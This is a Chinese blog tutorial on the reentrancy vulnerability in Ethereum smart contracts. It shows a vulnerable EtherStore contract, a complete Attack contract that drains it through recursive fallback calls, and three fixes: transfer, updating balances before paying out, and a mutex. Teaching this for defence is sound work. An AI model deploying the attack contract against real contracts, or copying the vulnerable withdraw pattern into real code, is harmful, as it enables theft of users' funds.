继续浏览精彩内容
慕课网APP
程序员的梦工厂
打开
继续
感谢您的支持,我会继续努力的
赞赏金额会直接到老师账户
将二维码发送给自己后长按识别
微信支付
支付宝支付

《王小猪的区块链安全课堂一》---重入漏洞

慕神8447489
关注TA
已关注
手记 1259
粉丝 174
获赞 956

王小猪区块链课堂主要介绍区块链相关问题。课堂会以主题形式来介绍。

本篇技术课堂,讨论的是以太坊智能合约的重入漏洞。

重入漏洞

重入漏洞,就是利用智能合约的Fallback机制,让合约执行额外代码。所以先要介绍一下fallback机制。

每个以太坊的合约里有且只有一个fallback函数。函数无参数,无返回值,当调用合约时,没有任何匹配函数,就会默认调用fallback函数。

此外,当合约收到Ether转账时,这个函数也会被执行。不过执行这个函数会消耗2300gas(注: 这也是防止此类漏洞方法)

下面举一个栗子来看下这个漏洞。

下面是一个被攻击合约。实现了存储和提取功能,且每次提取不能大于1ETH。

contract EtherStore {

    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }    function withdrawFunds (uint256 _weiToWithdraw) public {        require(balances[msg.sender] >= _weiToWithdraw);        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
 }

虽然合约的提取做了层层保护,但下面这几行代码还是有漏洞的。

require(msg.sender.call.value(_weiToWithdraw)());

这句话会发起一个转账,如果被转账的账号,存在如下攻击合约。这个攻击合约将一次转走全部ETH。

import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;  // intialise the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }  function pwnEtherStore() public payable {      // attack to the nearest ether
      require(msg.value >= 1 ether);      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();      // start the magic
      etherStore.withdrawFunds(1 ether);
  }  function collectEther() public {
      msg.sender.transfer(this.balance);
  }  // fallback function - where the magic happens
  function () payable {      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

攻击者先存入1ETH,在取出1ETH。代码如下:

etherStore.depositFunds.value(1 ether)();// start the magicetherStore.withdrawFunds(1 ether);

攻击者,调用ethStore.withdrawFunds,触发转账。而转账会激活Fallback机制,也就是如下代码在转账会被激活。

 function () payable {      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }

而fallback函数又调用了一次,Ethstore的提取函数,而此时提取函数之前的保护完全失效,转账再次发生,fallback再次被调,Ethstore的提取函数再次被调。依次循环,直到取走全部ETH。

当withdrawFunds 被反复调用时,如下的保护措施完全失效。

require(balances[msg.sender] >= _weiToWithdraw);// limit the withdrawalrequire(_weiToWithdraw <= withdrawalLimit);// limit the time allowed to withdrawrequire(now >= lastWithdrawTime[msg.sender] + 1 weeks);require(msg.sender.call.value(_weiToWithdraw)());

预防技术

这样的漏洞有三种方法。

第一种

使用transfer 转账。而不是call.value方法。原因在于transfer只提供2300gas 用于转账。没有多余的gas执行fallback函数。注:使用transfer函数转账是良好的编码习惯,之后谈到未处理call结果的漏洞,也可以通过transfer函数解决。

第二种

调整原有代码顺序,先扣钱再转账。也就是改成这样。

balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;require(msg.sender.call.value(_weiToWithdraw)());//balances[msg.sender] -= _weiToWithdraw;//lastWithdrawTime[msg.sender] = now;

第三种

加入互斥锁,类似线程锁。

如下代码为全部三种技术都用的新合约。注: 一种技术就可以,不过为了展示所以都显示

contract EtherStore {    // initialise the mutex
    bool reEntrancyMutex = false;
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }    function withdrawFunds (uint256 _weiToWithdraw) public {        require(!reEntrancyMutex);        require(balances[msg.sender] >= _weiToWithdraw);        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;        // set the reEntrancy mutex before the external call
        reEntrancyMutex = true;
        msg.sender.transfer(_weiToWithdraw);        // release the mutex after the external call
        reEntrancyMutex = false; 
    }
 }

这个漏洞也是以太坊早期重要的漏洞,也就是著名的DAO攻击,也导致ETC的分叉。
本期课堂就介绍到这,下期介绍溢出漏洞。

我是王小猪,一只找疯的猪!



作者:王小猪的简书
链接:https://www.jianshu.com/p/2e41eb8dc7f4


打开App,阅读手记
0人推荐
发表评论
随时随地看视频慕课网APP